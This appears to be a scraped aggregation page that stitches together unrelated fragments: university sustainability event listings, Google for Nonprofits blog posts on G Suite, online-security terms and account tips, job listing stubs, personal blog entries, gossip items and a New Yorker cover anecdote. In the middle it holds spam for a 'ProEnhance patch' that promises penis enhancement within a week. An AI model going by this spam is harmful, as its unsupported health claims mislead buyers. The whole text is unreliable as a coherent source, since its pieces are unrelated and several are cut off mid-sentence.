Rod Library
Wednesday, November 19, 2014 -
11:00 am to 1:00 pm
Enter Your Email: 
Name: 
Eric O'Brien
Phone: 
(319) 273-7207
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          Tastes of Sustainability        

Come to the CEEE September 27th at 7:00. Amazing chef, Dan Ankrum of Avant Garde Catering, will be preparing courses using local products and discussing how sustainability relates directly to dining around the area.

Along with great food and entertainment, the student organizations UNI Green Life, Green Project UNI, Student Nature Society (SNS), and Northern Iowa Student Energy Corp will be attending to pass along information about their clubs and why and how you should get involved.

Below is the menu and farms from which the products came from.

Liquid Nitrogen Ice Cream demo
Farm: Hansens, HillCrest Farms

Squash soup
Local Iowa butternut squash soup, Vegan
Farm: A Family Market Place

Local Iowa roasted pork shoulder served taco style.
Farm Green's Organics

Brew Grain Cookies
Farms: Hillcrest Farms, Kitchen Table CSA, Hansen's

Location: 
Center for Energy and Environmental Education (CEEE)
Thursday, September 27, 2012 - 2:00 pm
Enter Your Email: 
Name: 
Trish Dorman
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          Plastic Bag Exchange        

The Office of Sustainability is hosting an opportunity to go green. Bring at least five plastic bags to exchange for one reusable UNI bag; limit one bag per person.

Outreach/Service Projects
Location: 
Maucker Union
Monday, April 21, 2014 -
10:00 am to 2:00 pm
Enter Your Email: 
Name: 
Kelsey Ewald
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          Clothing Donation Drive        

The Office of Sustainability is sponsoring a clothing donation drive. Bring your unwanted clothing and other unbroken household items to Maucker Union between Chats and Essentials. Participants will not only be doing a great service to the community but will also be entered into a drawing to win one of four Fitbits.

Special Events
Location: 
Maucker Union
Wednesday, April 16, 2014 -
1:00 pm to 3:00 pm
Enter Your Email: 
Name: 
Matthew Hickok
Phone: 
(319) 415-4215
Share/Save
          Clothing Donation Drive        

The Office of Sustainability is sponsoring a clothing donation drive. Bring your unwanted clothing and other unbroken household items to Maucker Union between Chats and Essentials. Participants will not only be doing a great service to the community but will also be entered into a drawing to win one of four Fitbits.

Special Events
Location: 
Maucker Union
Wednesday, April 9, 2014 -
1:00 pm to 3:00 pm
Enter Your Email: 
Name: 
Matthew Hickok
Phone: 
(319) 415-4215
Share/Save
          Cedar Valley Local Food Fair        

Meet CSA (Community Supported Agriculture) farmers, learn about their farms and sign up for a CSA that’s right for you. Sample delicious recipes that you can make at home, try fun food activities and learn how to find fresh, local food in the Cedar Valley. A free, family-friendly event sponsored by the Cedar Valley CSA Farmers, Grout Museum District and the UNI Center for Environmental Education. Select programs are $1.

Outreach/Service Projects
Location: 
Sullivan Brothers Iowa Veterans Museum, Grout Museum District
Saturday, March 15, 2014 -
10:00 am to 3:00 pm
Enter Your Email: 
Name: 
Rachel Wobeter
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          Plastic Bag Exchange        

The Office of Sustainability is hosting an opportunity to go green. Bring in at least five plastic bags to exchange for a reusable UNI bag.

Special Events
Location: 
Maucker Union (near Chats)
Thursday, February 27, 2014 -
10:00 am to 2:00 pm
Enter Your Email: 
Name: 
Kelsey Ewald
Phone: 
(319) 231-4709
Share/Save
          Commentaires sur Optical Illusion Series by Erika Zolli par กล้องติดหมวกกันน็อคราคาถูก        
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          Commentaires sur Pensive Women Paintings par กล้องติดหมวกกันน็อคราคาถูก        
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          Commentaires sur Unexpected Landscape & Tent Pictures par เช็ค ems        
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          2 Stars: Jo Ann's (by Amanda C.)        

I have never experienced good service here. I usually go to the Federal Way location. There don't ever seem to be enough cashiers, and almost everytime I pick something out, the cash register doesn't ring it up at the price on the tag. Its very frusturating and I avoid it if at all possible.

PROS:
CONS: poor service, lack of expertise


          Unlocking G Suite for Nonprofits: Improve internal workflow and communication        

Whether you have a team of five or 500 a seamless, collaborative workflow is critical in the digital age. Our goal is to make sure that your nonprofit is able to focus on changing the world by using technology to save time -- not waste it. In the digital age though, information sharing can often be complex; your team might not work in the same office, or even the same timezone. Some team members might be in an office with computer access, while others are in the field on mobile devices. Who from your team should be able to access confidential documents?

This brings us to a key question: How do you empower team members to work together towards a common goal, and use technology to enable it?

Great question. We’d like to introduce you to G Suite - (formerly  Google Apps for Work ). G Suite aims to help teams work together in real-time -- no matter where they are in the world.

Today, we’re spotlighting a few nonprofits to share how their teams  are using Google tools and apps to improve workflow and internal communication.

Mercy Beyond Borders - Internal Communication with Sheets & Sites

Mercy Beyond Borders (MBB) is a U.S. nonprofit that aims to forge opportunities for women and girls in extreme poverty to learn, connect, and lead. Utilizing a small office in the U.S. as home base, MBB targets rural areas in Haiti and South Sudan. In both of these areas, cultural norms and poverty prohibit full participation of women. In fact, these areas offer minimal education and opportunities for employment, which often  impedes the development of leadership skills or positions. Mercy Beyond Borders focuses its programs on providing trainings, scholarships, leadership camps, and business loans for women.

To achieve their mission, Mercy Beyond Borders faces the challenge of balancing US-based operations with field work in remote areas like South Sudan and Haiti. Their nonprofit partners range from large organizations to local schools to individuals. So how does Mercy Beyond Borders ensure that all staff, vendors, and partners stay connected and working together in sync?
MBB-trained nurse in South-Sudan village
MBB-trained nurse in South Sudan village. Photo credit: Mercy Beyond Borders

Mercy Beyond Border began using G Suite to streamline its workflow, connecting their team across the globe. Using G Suite, MBB’s team is able to access, share, and collaborate together in real-time. Take a glimpse into how they do it:

  • Track Finances: MBB manages their overseas program budget expenditures in Google Sheets. Using this tool, the domestic office tracks monthly vendor payments in Haiti. This enables the staff to wire more money as needed in order to ensure program success. Additionally, using Sheets enables the team to provide transparency in the organization, clarifying spending and creating a simple overview of total annual expenses. This standardized and collaborative approach to data enables better efficiency and communication between domestic and international offices.

  • Store images: Mercy Beyond Borders regularly takes photos in the field to keep the domestic office up to date on progress and communicate stories to their donors. The team overseas is able to upload the pictures to Google Drive, which allows them to share or retrieve the images at any time.

  • Share Information: It’s imperative that MBB shares frequent updates with the Board of Directors, highlighting current developments, areas for growth, and new opportunities. To keep the Board of Directors apprised of progress, the team created a MBB Board website with Google Sites as a way to provide updates outside of meetings. The site functions as a central hub, where the Board can find all relevant information and resources at their discretion. The website is organized in subsections including internal updates from the Executive Director, background articles on country conditions and descriptions of new partnerships. To take it one step further, MBB also added a comment section for board members to engage in open communication.

“It [G Suite] helps to better connect, engage, and keep Board members up-to-date in between meetings, or  if they are unable to make a meeting (in which case they can view the Meeting Archives page),” said Adrienne Perez.


MyFace - Increasing productivity and improving internal workflow by remote access

Established in 1951, MyFace was founded to address the medical, surgical and psychological needs of those living with facial deformities. The organization offers access to care and treatments --- regardless of the severity of the anomaly, the length of treatment, or the family’s ability to afford care. In America alone, 1 in 650 children is born with an facial cleft. Every year, MyFace helps more than 1,000 patients seek treatment. Of this population, 85% are children, 70% live in poverty, and 95% require long-term care. The costs involved in this are high and verges on insurmountable for low income families. With this in mind, MyFace ensures that all children receive highest quality interdisciplinary and comprehensive reconstructive care by doctors who provide their services pro bono.

As a small nonprofit (their staff of eight including their therapy dog, Bentley), employees are required to perform a variety of different tasks. On any given day, team members might be responsible for website design, grant proposal writing, and marketing strategy. And oftentimes, what one employee starts today is  picked up by another employee tomorrow. Because it’s often all-hands-on-deck, collaboration is particularly key for MyFace.

Our mission of changing faces and transforming lives can be fulfilled with the help of technology from G4NP Carolyn Spector Executive Director MyFace

To address their challenge, MyFace began using Google Drive to centrally store, access, and share information from anywhere at anytime. Drive helped decrease the amount of time that MyFace spends on administrative tasks, like sending documents back and forth or working with out-of-date data or information. Drive’s tools like Docs and Sheets enable the team to collaborate both in and out of office.

MyFace also deals with an overwhelming amount of data and information. The team needs this data to not only be easy to store, retrieve, and share — it needs to be secure, since it contains confidential and personal patient information. G Suite offers that as well, ensuring that all information is kept private and secure. (Want to know more about G Suite security and how safe they really are? Read more about it here).

“Our mission of changing faces and transforming lives can be fulfilled with the help of technology from G4NP because it offers invaluable resources to nonprofits of any size at no cost,” stated Carolyn Spector, Executive Director of MyFace.

MyFace Staff photo
MyFace team. Photo credit: MyFace

Having global teams of different sizes with varying access to technology can make timely communication difficult, if not impossible. While nonprofits like Mercy Beyond Borders and myFace strive to accomplish unique missions, both organizations are passionate about changing the world. And about using the right technology to help. Utilizing tools like G Suite has been key for nonprofits like these in order to improve internal workflow and communications. For Mercy and my Face, making information shared, up-to-date, and secure has been crucial for navigating the Technology Age.

Interested in learning more about the tools available to your nonprofit? Check out our website to see how G4NP can help your nonprofit with real-time, up-to-date communication and data sharing.

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To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

Footnote:  Statements are provided by Nonprofits that received free products as part of the Google for Nonprofits program, which offers free products to qualified nonprofits.


          A nonprofit's guide to online security: So you want to learn the lingo?        
This year marks the 25th anniversary of the World Wide Web becoming publicly available. For many of us, this is a reminder of just how much the Internet has transformed our daily lives. This rings true for nonprofits too: The Internet has revolutionized the way that nonprofits communicate, fundraise, and recruit volunteers. It has enabled nonprofits like yours to share their mission with a global audience. To raise awareness. And to change the world. 

But the power of the Internet also comes with great responsibility -- namely the need to keep information safe and secure. As a nonprofit, it can be difficult to keep up with online security, especially when terminology seems complicated. Yes, you might have heard of terms like “phishing” or “cookies,” but what do they mean?

Today, you can find the answers to your questions with our quick & easy to guide to online security terminology. In less than five minutes, you’ll be well on the way to helping keep your nonprofit safe on the Internet. 

Let’s get started! Here’s a quick guide to familiarize yourself with common lingo and learn how to distinguish terms that are friends vs foes in the online security realm. 


THE BAD GUYS: MALICIOUS ACTIONS/TERMS

  • Advanced Fee Fraud (419 scams): A technique which tricks users into sending or paying money to fraudsters on the promise of receiving greater rewards afterwards. It is most commonly associated with Nigeria, and 419 is the section of the Nigerian legal code that covers this fraud.
  • Botnet: A network of computers that are infected with malicious software without users’ knowledge, used to send viruses and spam to other computers.
  • Malware: Malicious software with the purpose of infecting devices and systems, gathering personal information, gaining access to systems or disrupting the operations of the device or systems. Essentially, any software that maliciously alters or compromises the system or device.
  • Phishing / Social Engineering Attack: An attempt by hackers who pose as trustworthy individuals or businesses in order to get your personal information such as usernames, passwords, and financial information.
  • Trojans: Malicious programs posing as or bundled with legitimate ones, which are designed to compromise your system. They are usually installed on computers from opening attachments in scam emails or by visiting infected websites. The term comes from the Trojan Horse in Greek mythology.

How to avoid social engineering attacks

THE GOOD GUYS: ONLINE SAFETY TERMS


  • [Internet] Cookie: A piece of data from a visited website and stored in the user's web browser in order to remember information that the user has entered or engaged with such as items in a shopping basket on an e-commerce site.
  • Encryption: The process of encoding data, messages, or information, such that only authorized parties can read it.
  • Firewall: A security system used to block hackers, viruses, and other malicious threats to your computer. It does this by acting as a barrier, acting on predetermined rules, which allows trusted traffic but blocks untrusted or non-secure traffic. 
  • HTTPS (Hypertext Transfer Protocol): is the protocol for secure communications over a computer network used on the Internet. It essentially provides authentication of the website and the web servers associated with it. 
  • Transport Layer Security (TLS): TLS is a protocol that encrypts and delivers mail securely, both for inbound and outbound mail traffic. It helps prevent eavesdropping between mail servers – keeping your messages private while they're moving between email providers. 
  • Two Factor Authentication / Two Step Verification: A method of using an additional process to verify your identity online. It combines both ‘something you know’ (like a password) and ‘something you have’ (like your phone or security key) — similar to withdrawing money from an ATM/cash machine, where you need both your PIN and your bank card.

That’s a wrap for now! Pass on these tips to your nonprofit partners to stay safe and secure online, so you can focus on what matters most: changing the world. 

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To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more at no charge. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.


          3 Reasons why Chromebooks might be a good fit for your nonprofit        
Nonprofits - 08_11 - Chromebooks.JPG

When we speak with nonprofit organizations, we often hear about the challenges related to technological resources. So when it comes to investing in new technology, it’s important to consider three primary factors:

  • Security: Does it keep my information private and secure?
  • Compatibility: Does it work with the programs I use?
  • Price: Is it within budget?
To address these questions, Google created the Chromebook, a series of laptops built with ChromeOS. The vision behind Chromebooks is simple — to create a safe, accessible, and affordable laptop. To improve user privacy and security, Chromebooks  automatically update to provide virus protection, encryption and safe browsing. For easy access and collaboration, they’re outfitted with Gmail, Google Docs, Hangouts (and nonprofits receive the full Google Apps bundle with 30GB of space per user at no charge). What’s more, they start at $169 USD & that’s for a laptop that has up to 10+ hours of battery life!
Nonprofits_-_08_11_-_Chromebooks2.width-1600.png
ASUS Chromebook C201 ($169)

Case Study

Charity:water, a non-profit organization that provides clean and safe drinking water to people in developing countries, has a “100 percent model,” where every dollar donated goes directly to fund clean water projects. As a result, resources are limited. In order to cover operational costs like salaries and supplies, the organization relies on a few passionate and dedicated supporters. With this in mind, Charity:water transitioned to Chromebooks to improve the efficiency of its staff’s workflow. Now, employees can spend more time focusing on their goals and working towards their mission to nourish the world.

Want to learn more?

Chromebooks gives nonprofits unified access to the Google Apps suite, including:

  • Google Docs, Sheets, Slides: Allows you to create documents, spreadsheets, and presentations in real time. They’re automatically backed up online, and you can also open and edit Microsoft Word, Powerpoint or Excel files.
  • Google Hangouts: Google Hangouts can be used to make phone calls, screenshare, and video chat.
  • Google Drive: Store, sync, and share documents in the cloud for secure and easy access.

As a nonprofit, you also receive discounted access to Chrome licenses, which give you management controls via the Chrome Device Management. Chrome Device Management is a unified way to manage all of your nonprofits’ users, devices, and data. For nonprofits, the Chrome management license is discounted to only $30 dollars — in comparison to $150!

Chromebooks are our vision for providing cheaper, easier to use, and more secure laptops. Installed with Google Apps out of the box, nonprofits can maximize impact, while saving both time and resources.


To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

To learn more about Chromebooks for nonprofits, take a look at Google for Work’s Chromebook’s website. To take advantage of the Google Nonprofit license discount, a Google partner will reach out to you once you fill out the Contact Us form.


          Four ways to keep your nonprofit safe & secure online        
safety security g4np
For nonprofits, the Internet serves as a powerful vehicle for change — creating a way to access information, connect with users, and drive innovation. But navigating the web can also be a tricky task. Online safety and security has become increasingly pertinent for all digital users, including nonprofits. While it’s relevant to all though, it’s unattended by many. This raises the question: “How do we keep our nonprofit (and the community we serve) safe and secure online?”

Today, we’re partnering with Google’s User Advocacy Group to share four smart tips to keep your nonprofit, your users, and you safe online.

1. Secure your passwords

Many of us “know” that it’s smart to pick a strong password, but out of convenience we also continue to use our favorite pet’s name (e.g. “Clifford”) or other not-so-creative passwords like “password.” Although pets like Clifford are great, they don’t make great passwords. Rather, this weak protection creates vulnerable access to some of your nonprofit’s most sensitive information.

Picking strong passwords that are different for each of your accounts is extremely important -- it’s also good practice to update your passwords regularly.  Check out the following tips: 

  • Use a unique password for each of your accounts. Would you give a burglar a key that accessed your home, car, garage, and more? Using the same password for multiple accounts creates the same type of risk. Ensure you’re protecting your data by using unique passwords for each account.

  • Include numbers, letters and symbols in your password. The longer your password is, the harder it is to guess. Adding numbers, symbols and mixed-case letters makes it harder for someone to gain access to your account.

  • Create password recovery options and keep them up-to-date. If you forget your password or get locked out, you need a way to get back into your account. Many services will send this information to a recovery email address to reset your password, so be sure your recovery email address is up-to-date and accessible. You may also be able to add a phone number to your profile to receive a code to reset your password via text message. Having a mobile phone number on your account is one of the easiest and most reliable ways to help keep your account safe.

2. Take the security checkup


Google’s Security Checkup is a quick, easy way to review the following information about your account (and more)!
  • Recent activity: This is a quick overview of your recent sign-ins to Google. If you see any activity from a location or device you don’t recognize, change your password immediately.

  • Account permissions: These are the apps, websites, and devices connected to your Google account. Take a look and make sure you trust—and actually use—all of them. You might want to remove an old phone, or that dusty app you never use.

  • Check your 2-step verification:  Most people have only one layer of protection with their password. 2-step verification adds an additional layer of security to your account by requiring a phone or security key to access your account information.

3. Understand your privacy settings


If you do your personal and business work on the same computer, you will want to also check your privacy settings through Google’s Privacy Checkup. Privacy Checkup allows you to control what information like photos, videos and reviews are shared to the public or to whomever you choose.
  • Manage your sharing: You can decide what information you want to share such as videos, photos and reviews. Perhaps your nonprofit videos are only shared with your friends, when you want them to be shared with anyone. This is a simple way to check to see who can see what.

  • Personalize your google experience: One additional function of privacy checkup is to see what information you’re sharing with Google. Google uses this information to provide better search results and more relevant information to get you answers quicker and more relevant information to share to your nonprofit community.


Review important information about how Google uses data to make services better for you and your nonprofit.

4. Ensure you're switching between your personal & business accounts


We understand that as a nonprofit, you wear many hats and manage multiple business accounts in addition to personal ones. Google makes it easy toggle between accounts — visit your account settings to quickly determine which data you’re accessing, and rest easy knowing your personal and business information are separate.

  • Guest Mode or Incognito mode: Share Chrome with other people in your organization and ensure everyone has their own settings and bookmarks. You can also utilize Guest mode or Incognito mode to open a private browsing session in Chrome without leaving browser history or cookies behind once you’ve logged out.

  • Using Chrome on an unfamiliar device or machine: If you’re using an unfamiliar device or machine, ensure you’ve properly logged out of your account before heading off to your next meeting.


Online security doesn’t have to be difficult. These simple steps will give you peace of mind and protect your nonprofit’s valuable work. If you have any other online security questions or want to recommend a topic for a future blog, please add a comment below. 

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more — all at no charge. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more + enroll here.  


          Bella Communities: Utilizing technology & Google tools to drive "volunteer-ship"        

In 2009, Khoi Pham co-founded Bella Communities to address low-income housing issues and resident supportive services. Today, Bella Communities is harnessing the energy of thousands of community leaders, affordable housing owners, neighbors, nonprofits, resident volunteers, and professionals to offer a meaningful livelihood to their low-income housing tenants.  In addition to providing affordable housing, Bella’s signature program aims to mobilize low-income residents with an economic-opportunity modeled volunteering program. This programs enables residents to engage with other nonprofits, building civic engagement and social capital; improving career and personal skills; and earning rent credits to have financial capability and housing stability. Through this innovative “volunteer-ship” training program, they seek to help families “not just get by but also get ahead.” 

Bella Communities
What was the key to their success? We sat down with Khoi to hear exactly how they utilized technology and Google Apps for Nonprofits to achieve their goals.

Which role does technology play in Bella Communities?

Khoi: It’s critical! Technology allows us to communicate with our constituencies efficiently and cost-effectively which is vital for us. We want to empower our low-income residents with the tools needed to achieve economic development. With Google Apps for Nonprofits, we’ve built our own technology platform serving this objective. We have been able to switch from a desktop, web-based platform to a smart-phone mobile application, increasing engagement and participation from our residents using Google Forms. Most of them have skipped desktop to go mobile first!

Do you think technology has changed the way you work?

Khoi: Absolutely. It allowed us to operate in multiple states, virtually and real time! Communication, collection, and sharing data became seamless and effortless, which is fundamental to keeping pace.

Also Google Apps for Nonprofits has allowed us access to technology without heavy IT costs in order to preserve limited start-up resources and marshal them effectively. Google tools are all cloud-based and do not require us to build an internal IT infrastructure, which has enabled quick adaptability and flexibility to change. I have been amazed by the intuitiveness of the tools and how easily they integrate with one another!

Can you tell us more about your homemade program “Resident Volunteership United Program”?

Khoi: A study by the Corporation for National and Community Service showed that volunteers have a 27% greater chance  of finding a job after being out of work than non-volunteers? That is precisely why Bella Communities designed and tested an innovative supportive service program to simultaneously tackle both financial empowerment and civic engagement mobilization.  The Resident Volunteership United Program (ReV-UP) engages residents living in low-income communities to volunteer with other non-profit organizations in the immediate neighborhood to build community and economic development..

Google Apps was vital to the deployment of this program — we never would’ve been able to do it without that! It allowed us to manage workflow, and most importantly, it allowed us to gather, collect, and share data to build a case for supporting our program.

How are you measuring the success of this program?

Khoi: Using Google Forms and Google Drive, our low-income residents can easily manage their volunteer records online, as well as share and report their activities to the program managers. For the program pilot years, they contributed nearly 3,500 volunteer hours to their communities and generated earned approximately $21,000 in rent credits for their households.

Want to traverse the IT curve without the huge dollar investments? Find out how your nonprofit can better utilize technology with Google Apps for Nonprofits.

To see if your nonprofit is eligible to participate in the nonprofit programs, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

Bella Communities’ statements are made in connection with receiving free products as a participant in Google for Nonprofits, a program which provides free Google products to qualified nonprofits.


          Proenhance patch - Be a better man        



No more worries for you regarding the scale of your penis - it's time for the pure joy! The medical professionals as well as the herbalists support the ProEnhance patch, a system that's designed so that men like you achieve their best male sexual potency.

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For the bulk of folk the results can be seen instantly or within a week with the "fast-acting" ProEnhance patch system and practice.

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          Proenhance patch - Be a better man        



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          Proenhance patch - How can you Use Effectively The Proenhance Patch        



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          Customer Service Representative - Assurex Health        
Mason, OH - All times are in Mountain Daylight Time.
Job ID 2017-6577
Location US-OH-Mason
Location Details Mason, OH
Posted Date 8/9/2017
More information about this job:

Overview:

At Assurex The Customer Service Representative will coordinate all aspects of customer service on a daily
          Customer Service Assistant - Assurex Health        
Mason, OH - uyAll times are in Mountain Daylight Time.
Job ID 2017-6298
Location US-OH-Mason
Location Details Mason, OH
Posted Date 4/3/2017
More information about this job:

Overview:

At Assurex the Customer Service Assistant performs various functions for the Customer Service department
          Customer Service Associate (Seasonal) - 2nd Swing Inc.        
Minneapolis, MN - Customer Service Associate (Seasonal) - Minneapolis, MN
Customer Service
2412 East Hennepin Avenue, Minneapolis, MN 55413, United States
2nd Swing is looking for a few high-energy customer service professionals to join our Minneapolis team. The ideal candidate will have a very
          Customer Service Associate (Seasonal) - Minnetonka, MN - 2nd Swing Inc.        
Minnetonka, MN - Customer Service
13031 Ridgedale Drive, Minnetonka, MN 55305, United States
2nd Swing is looking for a few high-energy customer service professionals to join our Minnetonka or Minneapolis team. The ideal candidate will have a very good understanding and passion for the game of
          Account Manager - Retail Solutions, Inc.        
Providence, RI - Customer Success - (Multiple states) - Full Time
POSITION SUMMARY:

The Account Manager drives usage of demand-driven data in line with the customer?s strategic vision for an enterprise-wide DSR. They will oversee all user-facing account activities while serving as a voice for
          Vice President of Technical Operations (TechOps) - Vesta        
Atlanta, GA - POSITION SUMMARY:

Based in Atlanta, GA, the VP of TechOps is responsible for the planning, buildout and daily operations of the end-to-end strategy and governance of Vesta's infrastructure. The role also helps develop the overall strategic and budgeting plan and respective
          Executive Vice President Sales and Marketing - HealthHelp, Inc.        
Houston, TX - Job Description
This role is responsible for creating sales strategies, building revenue-generating pipeline and developing relationships within the managed care market. Maintain familiarity with managed care solutions and practices as well as connections with key decision
          Customer Service Representative - ePromos.com        
Cincinnati, OH -
Location:Cincinnati, OH
Job Code:108
# of openings:1
Description

ePromos Promotional Products Inc., a seven time winner of ASI Best Places to Work, is one of the fastest growing promotional product companies in the US. We recommend and provide custom branded merchandise and
          Execution Specialist | Algo Services - Liquidnet Holdings        
New York, NY - New York
ApplyApply with LinkedIn
Job Description
Liquidnet?s Algo Services Group is seeking an Execution Specialist to service our Algorithmic and Trade Analysis offerings. This individual will serve in a consultative capacity, partnering closely with our sales team and Members
          Maple Walnut Banana Bread        
My freezer is overflowing with bananas. I adore the fruit, but only at certain moments in their ripening cycle. For me to eat a banana straight up, it has to be slightly green, when it juuust starts to turn into a beautiful greenish-yellow and the peel is easy to open but still lends a nice cracking sound to the...

Read More »


          4 days down....        
Around 11-14 years to go.
Having Silas around has been wonderful and exhausting and stressful and calming all at once.
He's only had two accidents, one at my office and one at home this morning. That one was his daddy's fault, because when I left for work he was up and watching the Olympics so I left Silas out roaming around the house. I told the boy that he hadn't gone number two yet. Well, five minutes after I left the boy fell back asleep and woke up two hours later to a...well, "pleasant aroma" wafting from the dining room. Ah well, he'll learn. The boy. Not the dog.
Silas has gotten really messy really fast. I can tell I'm going to be giving lots and lots of doggy baths.
The only other thing that has been a problem/concern with him is his extreme separation anxiety. He of course freaks out when we leave him home alone while we go to work (for now, we're putting him in the guest room with his bed and some toys) but he also freaks out when we're both home but not in the same room. Last night the boy got up to get some water and left me and Silas in the room. Silas immediately began howling and scratching at the door. Nothing I tried would calm him down. It was like I wasn't even there. The same thing happened to the boy when I left for work yesterday. I'm hoping this is just an effect of him being shuffled around for so much of his life and that it is something he will get over as he realizes how quickly we come back.
In other news:
1) Yay! Olympics time! I love love love swimming and gymnastics but I also like some other random sports like water polo and rowing.
2) Guess what? We are STILL not done moving entirely. And our lease at the old place is up in close to 24 hours. It adds to my stress and exhaustion to no end. We are SO CLOSE!
          Someone's praying my Lord...        
Kumbaya. That person is me.
I'm not sure how much more of this I can take. We were moving until 4 am this morning. I just got to work and it's 10:15. That means that I got approximately 5 hours of sleep last night. We didn't stop for dinner till 2, which was especially awesome because I had skipped lunch yesterday in order to get stuff done at the office in time to leave by 5. And the best part? We're NOT DONE YET. Not even close. If I had just one day off it would make this a lot easier, but I don't. And that's a fact I'm just going to have to suck up and deal with. I have tomorrow morning off, I don't have to be at the office till around 1 in the afternoon. I'll skip church and finish moving what I can.
I hope Silas doesn't come home to a house that looks like a tornado hit it...
Oh! We named puppy "Silas." Not sure where it came from, I'll have the boy write a post on his reasoning behind it later.
          Brian Merchant: ”The one device – the secret history of the Iphone”        
Vännen i fickan. Ett avslöjande reportage om jubilerande lur. Martin Jönsson skriver om boken ”The one device – the secret history of the Iphone” av Brian Merchant..
          OMG, stop the presses! Tyra says Lindsay Lohan is ‘excited to come back’ for LIFE SIZE 2′ sequel film starring them both        

The only people who could do this film justice are LIFETIME or… Michael Bay? Check out Tyra‘s interview above where she tip toes around some...
          Order in the Court!        
Yesterday, America watched the justice system hard at work as it passed down a guilty verdict for Jodi Arias. In case you have been living under a rock, Arias is the 32-year-old Arizona woman who, five years ago, admitted to killing her lover Travis Alexander by stabbing him and shooting him 27 times in his … Continue reading
          New 2012 TV Shows Are Enroute (What Do You Think?)        
The People’s Choice Awards are a week from tomorrow – are you ready for a great show featuring the wildly talented Kaley Cuoco? Did you vote yet? Don’t forget the polls are still open for Favorite New TV Comedy and Favorite New TV Drama…so if you haven’t told us your picks you can still do … Continue reading
          Nice Revisions On New Home Sales         
Today the Census Bureau reported that 610,000 new home were sold in the previous month, and a nice revision of the April […]
          private designer frame showing        

Metropolitan Eyecare managers were invited to a private showing of thousands of the latest designer eyewear styles on April 2nd. A group of frame representatives presented styles from Coach, Dolce & Gabbana, Versace, Polo, Ralph Lauren, Tory Burch, Vogue, DKNY, Brooks Brothers, and Ray Ban. Over 800 high fashion designer frames were selected by our office managers. The...

The post private designer frame showing appeared first on Affordable Eye Care | Optometrist | Chicago Suburbs.


          Benchmarking microSD cards and more        
It’s worth re-visiting this blog-post as I am going to do more benchmarks and add more results over time. Motivation If you ever tried using a flash drive (such a SD, microSD, USB drive or CF) for your root or home filesystem on a small computing device or smartphone, you probably have noticed that flash Read more »
          Backing up and restoring data on Android devices directly via USB (Howto)        
Motivation I was looking for a simple way to backup data on Android devices directly to a device running GNU/Linux connected over a USB cable (in my case, a desktop computer). Is this really so unique that it’s worth writing a new article about it? Well, in my case, I did not want to buffer Read more »
          COSMOTE WiFi Calling: Σήμα και στα πιο δύσκολα σημεία        

Δελτίο Τύπου:

Σήμα και στα πιο δύσκολα σημεία απολαμβάνουν πρώτοι οι συνδρομητές COSMOTE κινητής με τη νέα, καινοτόμο υπηρεσία COSMOTE WiFi Calling.

Χωρίς καμία επιπλέον χρέωση, οι πελάτες COSMOTE 4G θα μπορούν να πραγματοποιούν και να δέχονται κλήσεις και SMS μέσα από το κινητό τους τηλέφωνο ακόμα και όταν το σήμα τους είναι ασθενές, αρκεί να βρίσκονται στην εμβέλεια οποιουδήποτε δικτύου WiFi, στο οποίο έχουν πρόσβαση. Η μετάβαση από το δίκτυο κινητής 4G στο δίκτυο WiFi γίνεται αυτόματα, ανεξάρτητα από τον πάροχο και τον κάτοχο του δικτύου WiFi.

«Θέλουμε να κάνουμε την καθημερινότητα των πελατών μας ευκολότερη με την τεχνολογία. Να απολαμβάνουν πρώτοι καινοτόμες υπηρεσίες που καλύπτουν τις ανάγκες τους. Με τη νέα υπηρεσία COSMOTE WiFi Calling αξιοποιούμε την υψηλή τεχνολογία για να επεκτείνουμε πρακτικά την κάλυψη του δικτύου COSMOTE κινητής όπου υπάρχει διαθέσιμο WiFi. Φροντίζουμε ώστε οι συνδρομητές μας να μη χάσουν ούτε μία κλήση, ακόμα και εάν βρίσκονται σε κλειστό, εσωτερικό χώρο με περιορισμένο σήμα 4G. Έτσι προσφέρουμε επιπλέον αξία στην επικοινωνία τους», δήλωσε σχετικά ο Chief Commercial Officer Consumer Segment Ομίλου ΟΤΕ, κ. Κώστας Νεμπής.

Η υπηρεσία θα είναι αρχικά διαθέσιμη για συσκευές Samsung Galaxy S7 & Samsung Galaxy S7 Edge σε πελάτες συμβολαίου. Σύντομα, θα επεκταθεί σε ακόμη περισσότερες συσκευές και συνδρομητές. Περισσότερες πληροφορίες, στο www.cosmote.gr.

Το COSMOTE WiFi Calling ενσωματώνει τις τεχνολογίες Voice over WiFi και Voice over LTE και μαζί όλα τα οφέλη της IP τηλεφωνίας μέσω κινητού δικτύου. Οι τεχνολογίες αυτές προσφέρουν, μεταξύ άλλων, ταχύτερη επικοινωνία, καλύτερη ποιότητα ήχου και μείωση κατανάλωσης ενέργειας της μπαταρίας.
          Bo        




The lovely and talented Ms. Mouly asked me last Wednesday if I might have any cover concepts about pirates and portuguese water dogs. I didn't really, and though I tried my best to combine the two in a singular idea, I found that pretty impossible to pull off, so I gave her 8 sketches -- and this is the one The New Yorker went with. Anyone who does covers for the magazine knows how blisteringly fast the process can be -- with this one, 16 hours from sketches to approval to final art. While I wanted the piece to work on a decidedly decorative level, I'm also pleased that people have picked up on the subtle allusion; the black and white mixed-breed pet juxtaposed against the vastness, scale and magnitude of the office itself. BTW,  my preferred title for the cover was 'Oboma', the NYer opting instead for simply 'Bo'.



